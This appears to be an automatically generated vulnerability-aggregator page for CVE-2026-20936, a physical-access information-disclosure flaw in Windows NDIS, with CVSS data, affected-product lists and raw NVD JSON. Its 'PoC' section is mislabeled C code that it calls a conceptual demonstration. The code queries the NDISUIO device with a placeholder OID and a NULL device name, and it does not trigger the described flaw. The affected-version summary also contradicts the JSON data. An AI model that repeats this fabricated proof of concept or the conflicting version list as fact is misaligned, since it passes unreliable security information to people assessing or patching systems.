CVE-2026-20936

Description

Out-of-bounds read in Windows NDIS allows an authorized attacker to disclose information with a physical attack.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:* - VULNERABLE

Windows 10 1809及更早版本

Windows Server 2019及更早版本

Windows 11 22H2及更早版本

Windows Server 2022及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-20936 PoC Concept (Physical Access Required)
// Note: This is a conceptual demonstration, actual exploitation requires physical device access

#include <windows.h>
#include <ndistapi.h>

// This PoC demonstrates the concept of triggering NDIS OOB read
// Actual exploitation requires specific physical access conditions

void trigger_ndis_oob_read() {
    HANDLE hNDIS = NULL;
    NDISUIO_QUERY_OID query;
    DWORD bytesReturned = 0;
    
    // Open NDISUIO device handle
    hNDIS = CreateFile(
        L"\\\\.\\NDISUIO",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    
    if (hNDIS == INVALID_HANDLE_VALUE) {
        printf("Failed to open NDISUIO device\n");
        return;
    }
    
    // Query OID with potential OOB read condition
    query.Oid = 0x00000001; // Example OID
    query.ptcDeviceName = NULL;
    
    // DeviceIoControl call that may trigger OOB read
    DeviceIoControl(
        hNDIS,
        IOCTL_NDISUIO_QUERY_OID_VALUE,
        &query,
        sizeof(query),
        &query,
        sizeof(query),
        &bytesReturned,
        NULL
    );
    
    CloseHandle(hNDIS);
}

int main() {
    printf("CVE-2026-20936 PoC Concept\n");
    printf("Physical access required for actual exploitation\n");
    trigger_ndis_oob_read();
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-20936
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-20936
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-20936/
[4] VulDB https://vuldb.com/cve/CVE-2026-20936
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20936

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-20936", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:20.653", "lastModified": "2026-01-16T15:22:12.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Windows NDIS allows an authorized attacker to disclose information with a physical attack."}, {"lang": "es", "value": "Lectura fuera de límites en Windows NDIS permite a un atacante autorizado divulgar información con un ataque físico."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "9CFC3200-1FAB-4AB1-A008-F703EEF3505A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "E481E93D-D86E-4B65-93E5-200327C348C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "F720EC9F-6A33-445F-AFA1-794405737E57"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "85E22F96-B552-4BBA-AFA1-85C1FC55DB32"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "5ACD940D-CA6A-402B-B132-E5A66139C44F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "354AD10F-EEF4-461D-BDBB-245B97E3D420"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "7D2B0BB9-E94A-420E-8E53-A4C1136DE73E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "78C4B71B-5345-4D83-A0A9-A15F783CF9A9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "208734FD-5175-4856-9D08-ED6CFF64AA14"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "846261D4-ECC2-4DCB-8F8F-F27F8C99F061"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "33E138A3-968B-4109-AC13-D488685F0AF2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "CC1FE5A1-3E6E-4606-899B-BF7BF3D3DD8D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*: ... (truncated)